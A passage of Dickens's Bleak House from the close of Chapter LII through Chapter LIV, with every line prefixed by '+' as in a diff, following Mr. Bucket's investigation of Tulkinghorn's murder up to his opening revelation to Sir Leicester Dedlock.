+"But more persuadable we can, I hope," said I. "And let me entreat
+you to consider that the clearing up of this mystery and the
+discovery of the real perpetrator of this deed may be of the last
+importance to others besides yourself."
+
+He heard me respectfully but without much heeding these words, which
+I spoke a little turned from him, already on my way to the door; he
+was observing (this they afterwards told me) my height and figure,
+which seemed to catch his attention all at once.
+
+"'Tis curious," said he. "And yet I thought so at the time!"
+
+My guardian asked him what he meant.
+
+"Why, sir," he answered, "when my ill fortune took me to the dead
+man's staircase on the night of his murder, I saw a shape so like
+Miss Summerson's go by me in the dark that I had half a mind to speak
+to it."
+
+For an instant I felt such a shudder as I never felt before or since
+and hope I shall never feel again.
+
+"It came downstairs as I went up," said the trooper, "and crossed the
+moonlighted window with a loose black mantle on; I noticed a deep
+fringe to it. However, it has nothing to do with the present subject,
+excepting that Miss Summerson looked so like it at the moment that it
+came into my head."
+
+I cannot separate and define the feelings that arose in me after
+this; it is enough that the vague duty and obligation I had felt upon
+me from the first of following the investigation was, without my
+distinctly daring to ask myself any question, increased, and that I
+was indignantly sure of there being no possibility of a reason for my
+being afraid.
+
+We three went out of the prison and walked up and down at some short
+distance from the gate, which was in a retired place. We had not
+waited long when Mr. and Mrs. Bagnet came out too and quickly joined
+us.
+
+There was a tear in each of Mrs. Bagnet's eyes, and her face was
+flushed and hurried. "I didn't let George see what I thought about
+it, you know, miss," was her first remark when she came up, "but he's
+in a bad way, poor old fellow!"
+
+"Not with care and prudence and good help," said my guardian.
+
+"A gentleman like you ought to know best, sir," returned Mrs. Bagnet,
+hurriedly drying her eyes on the hem of her grey cloak, "but I am
+uneasy for him. He has been so careless and said so much that he
+never meant. The gentlemen of the juries might not understand him as
+Lignum and me do. And then such a number of circumstances have
+happened bad for him, and such a number of people will be brought
+forward to speak against him, and Bucket is so deep."
+
+"With a second-hand wiolinceller. And said he played the fife. When a
+boy," Mr. Bagnet added with great solemnity.
+
+"Now, I tell you, miss," said Mrs. Bagnet; "and when I say miss, I
+mean all! Just come into the corner of the wall and I'll tell you!"
+
+Mrs. Bagnet hurried us into a more secluded place and was at first
+too breathless to proceed, occasioning Mr. Bagnet to say, "Old girl!
+Tell 'em!"
+
+"Why, then, miss," the old girl proceeded, untying the strings of her
+bonnet for more air, "you could as soon move Dover Castle as move
+George on this point unless you had got a new power to move him with.
+And I have got it!"
+
+"You are a jewel of a woman," said my guardian. "Go on!"
+
+"Now, I tell you, miss," she proceeded, clapping her hands in her
+hurry and agitation a dozen times in every sentence, "that what he
+says concerning no relations is all bosh. They don't know of him, but
+he does know of them. He has said more to me at odd times than to
+anybody else, and it warn't for nothing that he once spoke to my
+Woolwich about whitening and wrinkling mothers' heads. For fifty
+pounds he had seen his mother that day. She's alive and must be
+brought here straight!"
+
+Instantly Mrs. Bagnet put some pins into her mouth and began pinning
+up her skirts all round a little higher than the level of her grey
+cloak, which she accomplished with surpassing dispatch and dexterity.
+
+"Lignum," said Mrs. Bagnet, "you take care of the children, old man,
+and give me the umbrella! I'm away to Lincolnshire to bring that old
+lady here."
+
+"But, bless the woman," cried my guardian with his hand in his
+pocket, "how is she going? What money has she got?"
+
+Mrs. Bagnet made another application to her skirts and brought forth
+a leathern purse in which she hastily counted over a few shillings
+and which she then shut up with perfect satisfaction.
+
+"Never you mind for me, miss. I'm a soldier's wife and accustomed to
+travel my own way. Lignum, old boy," kissing him, "one for yourself,
+three for the children. Now I'm away into Lincolnshire after George's
+mother!"
+
+And she actually set off while we three stood looking at one another
+lost in amazement. She actually trudged away in her grey cloak at a
+sturdy pace, and turned the corner, and was gone.
+
+"Mr. Bagnet," said my guardian. "Do you mean to let her go in that
+way?"
+
+"Can't help it," he returned. "Made her way home once from another
+quarter of the world. With the same grey cloak. And same umbrella.
+Whatever the old girl says, do. Do it! Whenever the old girl says,
+I'LL do it. She does it."
+
+"Then she is as honest and genuine as she looks," rejoined my
+guardian, "and it is impossible to say more for her."
+
+"She's Colour-Sergeant of the Nonpareil battalion," said Mr. Bagnet,
+looking at us over his shoulder as he went his way also. "And there's
+not such another. But I never own to it before her. Discipline must
+be maintained."
+
+
+
+
+CHAPTER LIII
+
+The Track
+
+
+Mr. Bucket and his fat forefinger are much in consultation together
+under existing circumstances. When Mr. Bucket has a matter of this
+pressing interest under his consideration, the fat forefinger seems
+to rise, to the dignity of a familiar demon. He puts it to his ears,
+and it whispers information; he puts it to his lips, and it enjoins
+him to secrecy; he rubs it over his nose, and it sharpens his scent;
+he shakes it before a guilty man, and it charms him to his
+destruction. The Augurs of the Detective Temple invariably predict
+that when Mr. Bucket and that finger are in much conference, a
+terrible avenger will be heard of before long.
+
+Otherwise mildly studious in his observation of human nature, on the
+whole a benignant philosopher not disposed to be severe upon the
+follies of mankind, Mr. Bucket pervades a vast number of houses and
+strolls about an infinity of streets, to outward appearance rather
+languishing for want of an object. He is in the friendliest condition
+towards his species and will drink with most of them. He is free with
+his money, affable in his manners, innocent in his conversation--but
+through the placid stream of his life there glides an under-current
+of forefinger.
+
+Time and place cannot bind Mr. Bucket. Like man in the abstract, he
+is here to-day and gone to-morrow--but, very unlike man indeed, he is
+here again the next day. This evening he will be casually looking
+into the iron extinguishers at the door of Sir Leicester Dedlock's
+house in town; and to-morrow morning he will be walking on the leads
+at Chesney Wold, where erst the old man walked whose ghost is
+propitiated with a hundred guineas. Drawers, desks, pockets, all
+things belonging to him, Mr. Bucket examines. A few hours afterwards,
+he and the Roman will be alone together comparing forefingers.
+
+It is likely that these occupations are irreconcilable with home
+enjoyment, but it is certain that Mr. Bucket at present does not go
+home. Though in general he highly appreciates the society of Mrs.
+Bucket--a lady of a natural detective genius, which if it had been
+improved by professional exercise, might have done great things, but
+which has paused at the level of a clever amateur--he holds himself
+aloof from that dear solace. Mrs. Bucket is dependent on their lodger
+(fortunately an amiable lady in whom she takes an interest) for
+companionship and conversation.
+
+A great crowd assembles in Lincoln's Inn Fields on the day of the
+funeral. Sir Leicester Dedlock attends the ceremony in person;
+strictly speaking, there are only three other human followers, that
+is to say, Lord Doodle, William Buffy, and the debilitated cousin
+(thrown in as a make-weight), but the amount of inconsolable
+carriages is immense. The peerage contributes more four-wheeled
+affliction than has ever been seen in that neighbourhood. Such is the
+assemblage of armorial bearings on coach panels that the Herald's
+College might be supposed to have lost its father and mother at a
+blow. The Duke of Foodle sends a splendid pile of dust and ashes,
+with silver wheel-boxes, patent axles, all the last improvements, and
+three bereaved worms, six feet high, holding on behind, in a bunch of
+woe. All the state coachmen in London seem plunged into mourning; and
+if that dead old man of the rusty garb be not beyond a taste in
+horseflesh (which appears impossible), it must be highly gratified
+this day.
+
+Quiet among the undertakers and the equipages and the calves of so
+many legs all steeped in grief, Mr. Bucket sits concealed in one of
+the inconsolable carriages and at his ease surveys the crowd through
+the lattice blinds. He has a keen eye for a crowd--as for what
+not?--and looking here and there, now from this side of the carriage,
+now from the other, now up at the house windows, now along the
+people's heads, nothing escapes him.
+
+"And there you are, my partner, eh?" says Mr. Bucket to himself,
+apostrophizing Mrs. Bucket, stationed, by his favour, on the steps of
+the deceased's house. "And so you are. And so you are! And very well
+indeed you are looking, Mrs. Bucket!"
+
+The procession has not started yet, but is waiting for the cause of
+its assemblage to be brought out. Mr. Bucket, in the foremost
+emblazoned carriage, uses his two fat forefingers to hold the lattice
+a hair's breadth open while he looks.
+
+And it says a great deal for his attachment, as a husband, that he is
+still occupied with Mrs. B. "There you are, my partner, eh?" he
+murmuringly repeats. "And our lodger with you. I'm taking notice of
+you, Mrs. Bucket; I hope you're all right in your health, my dear!"
+
+Not another word does Mr. Bucket say, but sits with most attentive
+eyes until the sacked depository of noble secrets is brought
+down--Where are all those secrets now? Does he keep them yet? Did
+they fly with him on that sudden journey?--and until the procession
+moves, and Mr. Bucket's view is changed. After which he composes
+himself for an easy ride and takes note of the fittings of the
+carriage in case he should ever find such knowledge useful.
+
+Contrast enough between Mr. Tulkinghorn shut up in his dark carriage
+and Mr. Bucket shut up in HIS. Between the immeasurable track of
+space beyond the little wound that has thrown the one into the fixed
+sleep which jolts so heavily over the stones of the streets, and the
+narrow track of blood which keeps the other in the watchful state
+expressed in every hair of his head! But it is all one to both;
+neither is troubled about that.
+
+Mr. Bucket sits out the procession in his own easy manner and glides
+from the carriage when the opportunity he has settled with himself
+arrives. He makes for Sir Leicester Dedlock's, which is at present a
+sort of home to him, where he comes and goes as he likes at all
+hours, where he is always welcome and made much of, where he knows
+the whole establishment, and walks in an atmosphere of mysterious
+greatness.
+
+No knocking or ringing for Mr. Bucket. He has caused himself to be
+provided with a key and can pass in at his pleasure. As he is
+crossing the hall, Mercury informs him, "Here's another letter for
+you, Mr. Bucket, come by post," and gives it him.
+
+"Another one, eh?" says Mr. Bucket.
+
+If Mercury should chance to be possessed by any lingering curiosity
+as to Mr. Bucket's letters, that wary person is not the man to
+gratify it. Mr. Bucket looks at him as if his face were a vista of
+some miles in length and he were leisurely contemplating the same.
+
+"Do you happen to carry a box?" says Mr. Bucket.
+
+Unfortunately Mercury is no snuff-taker.
+
+"Could you fetch me a pinch from anywheres?" says Mr. Bucket.
+"Thankee. It don't matter what it is; I'm not particular as to the
+kind. Thankee!"
+
+Having leisurely helped himself from a canister borrowed from
+somebody downstairs for the purpose, and having made a considerable
+show of tasting it, first with one side of his nose and then with the
+other, Mr. Bucket, with much deliberation, pronounces it of the right
+sort and goes on, letter in hand.
+
+Now although Mr. Bucket walks upstairs to the little library within
+the larger one with the face of a man who receives some scores of
+letters every day, it happens that much correspondence is not
+incidental to his life. He is no great scribe, rather handling his
+pen like the pocket-staff he carries about with him always convenient
+to his grasp, and discourages correspondence with himself in others
+as being too artless and direct a way of doing delicate business.
+Further, he often sees damaging letters produced in evidence and has
+occasion to reflect that it was a green thing to write them. For
+these reasons he has very little to do with letters, either as sender
+or receiver. And yet he has received a round half-dozen within the
+last twenty-four hours.
+
+"And this," says Mr. Bucket, spreading it out on the table, "is in
+the same hand, and consists of the same two words."
+
+What two words?
+
+He turns the key in the door, ungirdles his black pocket-book (book
+of fate to many), lays another letter by it, and reads, boldly
+written in each, "Lady Dedlock."
+
+"Yes, yes," says Mr. Bucket. "But I could have made the money without
+this anonymous information."
+
+Having put the letters in his book of fate and girdled it up again,
+he unlocks the door just in time to admit his dinner, which is
+brought upon a goodly tray with a decanter of sherry. Mr. Bucket
+frequently observes, in friendly circles where there is no restraint,
+that he likes a toothful of your fine old brown East Inder sherry
+better than anything you can offer him. Consequently he fills and
+empties his glass with a smack of his lips and is proceeding with his
+refreshment when an idea enters his mind.
+
+Mr. Bucket softly opens the door of communication between that room
+and the next and looks in. The library is deserted, and the fire is
+sinking low. Mr. Bucket's eye, after taking a pigeon-flight round the
+room, alights upon a table where letters are usually put as they
+arrive. Several letters for Sir Leicester are upon it. Mr. Bucket
+draws near and examines the directions. "No," he says, "there's none
+in that hand. It's only me as is written to. I can break it to Sir
+Leicester Dedlock, Baronet, to-morrow."
+
+With that he returns to finish his dinner with a good appetite, and
+after a light nap, is summoned into the drawing-room. Sir Leicester
+has received him there these several evenings past to know whether he
+has anything to report. The debilitated cousin (much exhausted by the
+funeral) and Volumnia are in attendance.
+
+Mr. Bucket makes three distinctly different bows to these three
+people. A bow of homage to Sir Leicester, a bow of gallantry to
+Volumnia, and a bow of recognition to the debilitated Cousin, to whom
+it airily says, "You are a swell about town, and you know me, and I
+know you." Having distributed these little specimens of his tact, Mr.
+Bucket rubs his hands.
+
+"Have you anything new to communicate, officer?" inquires Sir
+Leicester. "Do you wish to hold any conversation with me in private?"
+
+"Why--not to-night, Sir Leicester Dedlock, Baronet."
+
+"Because my time," pursues Sir Leicester, "is wholly at your disposal
+with a view to the vindication of the outraged majesty of the law."
+
+Mr. Bucket coughs and glances at Volumnia, rouged and necklaced, as
+though he would respectfully observe, "I do assure you, you're a
+pretty creetur. I've seen hundreds worse looking at your time of
+life, I have indeed."
+
+The fair Volumnia, not quite unconscious perhaps of the humanizing
+influence of her charms, pauses in the writing of cocked-hat notes
+and meditatively adjusts the pearl necklace. Mr. Bucket prices that
+decoration in his mind and thinks it as likely as not that Volumnia
+is writing poetry.
+
+"If I have not," pursues Sir Leicester, "in the most emphatic manner,
+adjured you, officer, to exercise your utmost skill in this atrocious
+case, I particularly desire to take the present opportunity of
+rectifying any omission I may have made. Let no expense be a
+consideration. I am prepared to defray all charges. You can incur
+none in pursuit of the object you have undertaken that I shall
+hesitate for a moment to bear."
+
+Mr. Bucket made Sir Leicester's bow again as a response to this
+liberality.
+
+"My mind," Sir Leicester adds with a generous warmth, "has not, as
+may be easily supposed, recovered its tone since the late diabolical
+occurrence. It is not likely ever to recover its tone. But it is full
+of indignation to-night after undergoing the ordeal of consigning to
+the tomb the remains of a faithful, a zealous, a devoted adherent."
+
+Sir Leicester's voice trembles and his grey hair stirs upon his head.
+Tears are in his eyes; the best part of his nature is aroused.
+
+"I declare," he says, "I solemnly declare that until this crime is
+discovered and, in the course of justice, punished, I almost feel as
+if there were a stain upon my name. A gentleman who has devoted a
+large portion of his life to me, a gentleman who has devoted the last
+day of his life to me, a gentleman who has constantly sat at my table
+and slept under my roof, goes from my house to his own, and is struck
+down within an hour of his leaving my house. I cannot say but that he
+may have been followed from my house, watched at my house, even first
+marked because of his association with my house--which may have
+suggested his possessing greater wealth and being altogether of
+greater importance than his own retiring demeanour would have
+indicated. If I cannot with my means and influence and my position
+bring all the perpetrators of such a crime to light, I fail in the
+assertion of my respect for that gentleman's memory and of my
+fidelity towards one who was ever faithful to me."
+
+While he makes this protestation with great emotion and earnestness,
+looking round the room as if he were addressing an assembly, Mr.
+Bucket glances at him with an observant gravity in which there might
+be, but for the audacity of the thought, a touch of compassion.
+
+"The ceremony of to-day," continues Sir Leicester, "strikingly
+illustrative of the respect in which my deceased friend"--he lays a
+stress upon the word, for death levels all distinctions--"was held by
+the flower of the land, has, I say, aggravated the shock I have
+received from this most horrible and audacious crime. If it were my
+brother who had committed it, I would not spare him."
+
+Mr. Bucket looks very grave. Volumnia remarks of the deceased that he
+was the trustiest and dearest person!
+
+"You must feel it as a deprivation to you, miss," replies Mr. Bucket
+soothingly, "no doubt. He was calculated to BE a deprivation, I'm
+sure he was."
+
+Volumnia gives Mr. Bucket to understand, in reply, that her sensitive
+mind is fully made up never to get the better of it as long as she
+lives, that her nerves are unstrung for ever, and that she has not
+the least expectation of ever smiling again. Meanwhile she folds up a
+cocked hat for that redoubtable old general at Bath, descriptive of
+her melancholy condition.
+
+"It gives a start to a delicate female," says Mr. Bucket
+sympathetically, "but it'll wear off."
+
+Volumnia wishes of all things to know what is doing? Whether they are
+going to convict, or whatever it is, that dreadful soldier? Whether
+he had any accomplices, or whatever the thing is called in the law?
+And a great deal more to the like artless purpose.
+
+"Why you see, miss," returns Mr. Bucket, bringing the finger into
+persuasive action--and such is his natural gallantry that he had
+almost said "my dear"--"it ain't easy to answer those questions at
+the present moment. Not at the present moment. I've kept myself on
+this case, Sir Leicester Dedlock, Baronet," whom Mr. Bucket takes
+into the conversation in right of his importance, "morning, noon, and
+night. But for a glass or two of sherry, I don't think I could have
+had my mind so much upon the stretch as it has been. I COULD answer
+your questions, miss, but duty forbids it. Sir Leicester Dedlock,
+Baronet, will very soon be made acquainted with all that has been
+traced. And I hope that he may find it"--Mr. Bucket again looks
+grave--"to his satisfaction."
+
+The debilitated cousin only hopes some fler'll be executed--zample.
+Thinks more interest's wanted--get man hanged presentime--than get
+man place ten thousand a year. Hasn't a doubt--zample--far better
+hang wrong fler than no fler.
+
+"YOU know life, you know, sir," says Mr. Bucket with a complimentary
+twinkle of his eye and crook of his finger, "and you can confirm what
+I've mentioned to this lady. YOU don't want to be told that from
+information I have received I have gone to work. You're up to what a
+lady can't be expected to be up to. Lord! Especially in your elevated
+station of society, miss," says Mr. Bucket, quite reddening at
+another narrow escape from "my dear."
+
+"The officer, Volumnia," observes Sir Leicester, "is faithful to his
+duty, and perfectly right."
+
+Mr. Bucket murmurs, "Glad to have the honour of your approbation, Sir
+Leicester Dedlock, Baronet."
+
+"In fact, Volumnia," proceeds Sir Leicester, "it is not holding up a
+good model for imitation to ask the officer any such questions as you
+have put to him. He is the best judge of his own responsibility; he
+acts upon his responsibility. And it does not become us, who assist
+in making the laws, to impede or interfere with those who carry them
+into execution. Or," says Sir Leicester somewhat sternly, for
+Volumnia was going to cut in before he had rounded his sentence, "or
+who vindicate their outraged majesty."
+
+Volumnia with all humility explains that she had not merely the plea
+of curiosity to urge (in common with the giddy youth of her sex in
+general) but that she is perfectly dying with regret and interest for
+the darling man whose loss they all deplore.
+
+"Very well, Volumnia," returns Sir Leicester. "Then you cannot be too
+discreet."
+
+Mr. Bucket takes the opportunity of a pause to be heard again.
+
+"Sir Leicester Dedlock, Baronet, I have no objections to telling this
+lady, with your leave and among ourselves, that I look upon the case
+as pretty well complete. It is a beautiful case--a beautiful
+case--and what little is wanting to complete it, I expect to be able
+to supply in a few hours."
+
+"I am very glad indeed to hear it," says Sir Leicester. "Highly
+creditable to you."
+
+"Sir Leicester Dedlock, Baronet," returns Mr. Bucket very seriously,
+"I hope it may at one and the same time do me credit and prove
+satisfactory to all. When I depict it as a beautiful case, you see,
+miss," Mr. Bucket goes on, glancing gravely at Sir Leicester, "I mean
+from my point of view. As considered from other points of view, such
+cases will always involve more or less unpleasantness. Very strange
+things comes to our knowledge in families, miss; bless your heart,
+what you would think to be phenomenons, quite."
+
+Volumnia, with her innocent little scream, supposes so.
+
+"Aye, and even in gen-teel families, in high families, in great
+families," says Mr. Bucket, again gravely eyeing Sir Leicester aside.
+"I have had the honour of being employed in high families before, and
+you have no idea--come, I'll go so far as to say not even YOU have
+any idea, sir," this to the debilitated cousin, "what games goes on!"
+
+The cousin, who has been casting sofa-pillows on his head, in a
+prostration of boredom yawns, "Vayli," being the used-up for "very
+likely."
+
+Sir Leicester, deeming it time to dismiss the officer, here
+majestically interposes with the words, "Very good. Thank you!" and
+also with a wave of his hand, implying not only that there is an end
+of the discourse, but that if high families fall into low habits they
+must take the consequences. "You will not forget, officer," he adds
+with condescension, "that I am at your disposal when you please."
+
+Mr. Bucket (still grave) inquires if to-morrow morning, now, would
+suit, in case he should be as for'ard as he expects to be. Sir
+Leicester replies, "All times are alike to me." Mr. Bucket makes his
+three bows and is withdrawing when a forgotten point occurs to him.
+
+"Might I ask, by the by," he says in a low voice, cautiously
+returning, "who posted the reward-bill on the staircase."
+
+"I ordered it to be put up there," replies Sir Leicester.
+
+"Would it be considered a liberty, Sir Leicester Dedlock, Baronet, if
+I was to ask you why?"
+
+"Not at all. I chose it as a conspicuous part of the house. I think
+it cannot be too prominently kept before the whole establishment. I
+wish my people to be impressed with the enormity of the crime, the
+determination to punish it, and the hopelessness of escape. At the
+same time, officer, if you in your better knowledge of the subject
+see any objection--"
+
+Mr. Bucket sees none now; the bill having been put up, had better not
+be taken down. Repeating his three bows he withdraws, closing the
+door on Volumnia's little scream, which is a preliminary to her
+remarking that that charmingly horrible person is a perfect Blue
+Chamber.
+
+In his fondness for society and his adaptability to all grades, Mr.
+Bucket is presently standing before the hall-fire--bright and warm on
+the early winter night--admiring Mercury.
+
+"Why, you're six foot two, I suppose?" says Mr. Bucket.
+
+"Three," says Mercury.
+
+"Are you so much? But then, you see, you're broad in proportion and
+don't look it. You're not one of the weak-legged ones, you ain't. Was
+you ever modelled now?" Mr. Bucket asks, conveying the expression of
+an artist into the turn of his eye and head.
+
+Mercury never was modelled.
+
+"Then you ought to be, you know," says Mr. Bucket; "and a friend of
+mine that you'll hear of one day as a Royal Academy sculptor would
+stand something handsome to make a drawing of your proportions for
+the marble. My Lady's out, ain't she?"
+
+"Out to dinner."
+
+"Goes out pretty well every day, don't she?"
+
+"Yes."
+
+"Not to be wondered at!" says Mr. Bucket. "Such a fine woman as her,
+so handsome and so graceful and so elegant, is like a fresh lemon on
+a dinner-table, ornamental wherever she goes. Was your father in the
+same way of life as yourself?"
+
+Answer in the negative.
+
+"Mine was," says Mr. Bucket. "My father was first a page, then a
+footman, then a butler, then a steward, then an inn-keeper. Lived
+universally respected, and died lamented. Said with his last breath
+that he considered service the most honourable part of his career,
+and so it was. I've a brother in service, AND a brother-in-law. My
+Lady a good temper?"
+
+Mercury replies, "As good as you can expect."
+
+"Ah!" says Mr. Bucket. "A little spoilt? A little capricious? Lord!
+What can you anticipate when they're so handsome as that? And we like
+'em all the better for it, don't we?"
+
+Mercury, with his hands in the pockets of his bright peach-blossom
+small-clothes, stretches his symmetrical silk legs with the air of a
+man of gallantry and can't deny it. Come the roll of wheels and a
+violent ringing at the bell. "Talk of the angels," says Mr. Bucket.
+"Here she is!"
+
+The doors are thrown open, and she passes through the hall. Still
+very pale, she is dressed in slight mourning and wears two beautiful
+bracelets. Either their beauty or the beauty of her arms is
+particularly attractive to Mr. Bucket. He looks at them with an eager
+eye and rattles something in his pocket--halfpence perhaps.
+
+Noticing him at his distance, she turns an inquiring look on the
+other Mercury who has brought her home.
+
+"Mr. Bucket, my Lady."
+
+Mr. Bucket makes a leg and comes forward, passing his familiar demon
+over the region of his mouth.
+
+"Are you waiting to see Sir Leicester?"
+
+"No, my Lady, I've seen him!"
+
+"Have you anything to say to me?"
+
+"Not just at present, my Lady."
+
+"Have you made any new discoveries?"
+
+"A few, my Lady."
+
+This is merely in passing. She scarcely makes a stop, and sweeps
+upstairs alone. Mr. Bucket, moving towards the staircase-foot,
+watches her as she goes up the steps the old man came down to his
+grave, past murderous groups of statuary repeated with their shadowy
+weapons on the wall, past the printed bill, which she looks at going
+by, out of view.
+
+"She's a lovely woman, too, she really is," says Mr. Bucket, coming
+back to Mercury. "Don't look quite healthy though."
+
+Is not quite healthy, Mercury informs him. Suffers much from
+headaches.
+
+Really? That's a pity! Walking, Mr. Bucket would recommend for that.
+Well, she tries walking, Mercury rejoins. Walks sometimes for two
+hours when she has them bad. By night, too.
+
+"Are you sure you're quite so much as six foot three?" asks Mr.
+Bucket. "Begging your pardon for interrupting you a moment?"
+
+Not a doubt about it.
+
+"You're so well put together that I shouldn't have thought it. But
+the household troops, though considered fine men, are built so
+straggling. Walks by night, does she? When it's moonlight, though?"
+
+Oh, yes. When it's moonlight! Of course. Oh, of course!
+Conversational and acquiescent on both sides.
+
+"I suppose you ain't in the habit of walking yourself?" says Mr.
+Bucket. "Not much time for it, I should say?"
+
+Besides which, Mercury don't like it. Prefers carriage exercise.
+
+"To be sure," says Mr. Bucket. "That makes a difference. Now I think
+of it," says Mr. Bucket, warming his hands and looking pleasantly at
+the blaze, "she went out walking the very night of this business."
+
+"To be sure she did! I let her into the garden over the way."
+
+"And left her there. Certainly you did. I saw you doing it."
+
+"I didn't see YOU," says Mercury.
+
+"I was rather in a hurry," returns Mr. Bucket, "for I was going to
+visit a aunt of mine that lives at Chelsea--next door but two to the
+old original Bun House--ninety year old the old lady is, a single
+woman, and got a little property. Yes, I chanced to be passing at the
+time. Let's see. What time might it be? It wasn't ten."
+
+"Half-past nine."
+
+"You're right. So it was. And if I don't deceive myself, my Lady was
+muffled in a loose black mantle, with a deep fringe to it?"
+
+"Of course she was."
+
+Of course she was. Mr. Bucket must return to a little work he has to
+get on with upstairs, but he must shake hands with Mercury in
+acknowledgment of his agreeable conversation, and will he--this is
+all he asks--will he, when he has a leisure half-hour, think of
+bestowing it on that Royal Academy sculptor, for the advantage of
+both parties?
+
+
+
+
+CHAPTER LIV
+
+Springing a Mine
+
+
+Refreshed by sleep, Mr. Bucket rises betimes in the morning and
+prepares for a field-day. Smartened up by the aid of a clean shirt
+and a wet hairbrush, with which instrument, on occasions of ceremony,
+he lubricates such thin locks as remain to him after his life of
+severe study, Mr. Bucket lays in a breakfast of two mutton chops as a
+foundation to work upon, together with tea, eggs, toast, and
+marmalade on a corresponding scale. Having much enjoyed these
+strengthening matters and having held subtle conference with his
+familiar demon, he confidently instructs Mercury "just to mention
+quietly to Sir Leicester Dedlock, Baronet, that whenever he's ready
+for me, I'm ready for him." A gracious message being returned that
+Sir Leicester will expedite his dressing and join Mr. Bucket in the
+library within ten minutes, Mr. Bucket repairs to that apartment and
+stands before the fire with his finger on his chin, looking at the
+blazing coals.
+
+Thoughtful Mr. Bucket is, as a man may be with weighty work to do,
+but composed, sure, confident. From the expression of his face he
+might be a famous whist-player for a large stake--say a hundred
+guineas certain--with the game in his hand, but with a high
+reputation involved in his playing his hand out to the last card in a
+masterly way. Not in the least anxious or disturbed is Mr. Bucket
+when Sir Leicester appears, but he eyes the baronet aside as he comes
+slowly to his easy-chair with that observant gravity of yesterday in
+which there might have been yesterday, but for the audacity of the
+idea, a touch of compassion.
+
+"I am sorry to have kept you waiting, officer, but I am rather later
+than my usual hour this morning. I am not well. The agitation and the
+indignation from which I have recently suffered have been too much
+for me. I am subject to--gout"--Sir Leicester was going to say
+indisposition and would have said it to anybody else, but Mr. Bucket
+palpably knows all about it--"and recent circumstances have brought
+it on."
+
+As he takes his seat with some difficulty and with an air of pain,
+Mr. Bucket draws a little nearer, standing with one of his large
+hands on the library-table.
+
+"I am not aware, officer," Sir Leicester observes; raising his eyes
+to his face, "whether you wish us to be alone, but that is entirely
+as you please. If you do, well and good. If not, Miss Dedlock would
+be interested--"
+
+"Why, Sir Leicester Dedlock, Baronet," returns Mr. Bucket with his
+head persuasively on one side and his forefinger pendant at one ear
+like an earring, "we can't be too private just at present. You will
+presently see that we can't be too private. A lady, under the
+circumstances, and especially in Miss Dedlock's elevated station of
+society, can't but be agreeable to me, but speaking without a view to
+myself, I will take the liberty of assuring you that I know we can't
+be too private."
+
+"That is enough."
+
+"So much so, Sir Leicester Dedlock, Baronet," Mr. Bucket resumes,
+"that I was on the point of asking your permission to turn the key in
+the door."
+
+"By all means." Mr. Bucket skilfully and softly takes that
+precaution, stooping on his knee for a moment from mere force of
+habit so to adjust the key in the lock as that no one shall peep in
+from the outerside.
+
+"Sir Leicester Dedlock, Baronet, I mentioned yesterday evening that I
+wanted but a very little to complete this case. I have now completed
+it and collected proof against the person who did this crime."
+
+"Against the soldier?"
+
+"No, Sir Leicester Dedlock; not the soldier."
+
+Sir Leicester looks astounded and inquires, "Is the man in custody?"
+
+Mr. Bucket tells him, after a pause, "It was a woman."
+
+Sir Leicester leans back in his chair, and breathlessly ejaculates,
+"Good heaven!"
+
+"Now, Sir Leicester Dedlock, Baronet," Mr. Bucket begins, standing
+over him with one hand spread out on the library-table and the
+forefinger of the other in impressive use, "it's my duty to prepare
+you for a train of circumstances that may, and I go so far as to say
+that will, give you a shock. But Sir Leicester Dedlock, Baronet, you
+are a gentleman, and I know what a gentleman is and what a gentleman
+is capable of. A gentleman can bear a shock when it must come, boldly
+and steadily. A gentleman can make up his mind to stand up against
+almost any blow. Why, take yourself, Sir Leicester Dedlock, Baronet.
+If there's a blow to be inflicted on you, you naturally think of your
+family. You ask yourself, how would all them ancestors of yours, away
+to Julius Caesar--not to go beyond him at present--have borne that
+blow; you remember scores of them that would have borne it well; and
+you bear it well on their accounts, and to maintain the family
+credit. That's the way you argue, and that's the way you act, Sir
+Leicester Dedlock, Baronet."
+
+Sir Leicester, leaning back in his chair and grasping the elbows,
+sits looking at him with a stony face.
+
+"Now, Sir Leicester Dedlock," proceeds Mr. Bucket, "thus preparing
+you, let me beg of you not to trouble your mind for a moment as to
+anything having come to MY knowledge. I know so much about so many
+characters, high and low, that a piece of information more or less
+don't signify a straw. I don't suppose there's a move on the board
+that would surprise ME, and as to this or that move having taken
+place, why my knowing it is no odds at all, any possible move
+whatever (provided it's in a wrong direction) being a probable move
+according to my experience. Therefore, what I say to you, Sir
+Leicester Dedlock, Baronet, is, don't you go and let yourself be put
+out of the way because of my knowing anything of your family
+affairs."
+
+"I thank you for your preparation," returns Sir Leicester after a
+silence, without moving hand, foot, or feature, "which I hope is not
+necessary; though I give it credit for being well intended. Be so
+good as to go on. Also"--Sir Leicester seems to shrink in the shadow
+of his figure--"also, to take a seat, if you have no objection."
+
+None at all. Mr. Bucket brings a chair and diminishes his shadow.
+"Now, Sir Leicester Dedlock, Baronet, with this short preface I come
+to the point. Lady Dedlock--"
+
+Sir Leicester raises himself in his seat and stares at him fiercely.
+Mr. Bucket brings the finger into play as an emollient.
+
+"Lady Dedlock, you see she's universally admired. That's what her
+ladyship is; she's universally admired," says Mr. Bucket.
+
+"I would greatly prefer, officer," Sir Leicester returns stiffly, "my
+Lady's name being entirely omitted from this discussion."
+
+"So would I, Sir Leicester Dedlock, Baronet, but--it's impossible."
+
+"Impossible?"
+
+Mr. Bucket shakes his relentless head.
+
+"Sir Leicester Dedlock, Baronet, it's altogether impossible. What I
+have got to say is about her ladyship. She is the pivot it all turns
+on."
+
+"Officer," retorts Sir Leicester with a fiery eye and a quivering
+lip, "you know your duty. Do your duty, but be careful not to
+overstep it. I would not suffer it. I would not endure it. You bring
+my Lady's name into this communication upon your responsibility--upon
+your responsibility. My Lady's name is not a name for common persons
+to trifle with!"
+
+"Sir Leicester Dedlock, Baronet, I say what I must say, and no more."
+
+"I hope it may prove so. Very well. Go on. Go on, sir!" Glancing at
+the angry eyes which now avoid him and at the angry figure trembling
+from head to foot, yet striving to be still, Mr. Bucket feels his way
+with his forefinger and in a low voice proceeds.
+
+"Sir Leicester Dedlock, Baronet, it becomes my duty to tell you that
+the deceased Mr. Tulkinghorn long entertained mistrusts and
+suspicions of Lady Dedlock."
+
+"If he had dared to breathe them to me, sir--which he never did--I
+would have killed him myself!" exclaims Sir Leicester, striking his
+hand upon the table. But in the very heat and fury of the act he
+stops, fixed by the knowing eyes of Mr. Bucket, whose forefinger is
+slowly going and who, with mingled confidence and patience, shakes
+his head.
+
+"Sir Leicester Dedlock, the deceased Mr. Tulkinghorn was deep and
+close, and what he fully had in his mind in the very beginning I
+can't quite take upon myself to say. But I know from his lips that he
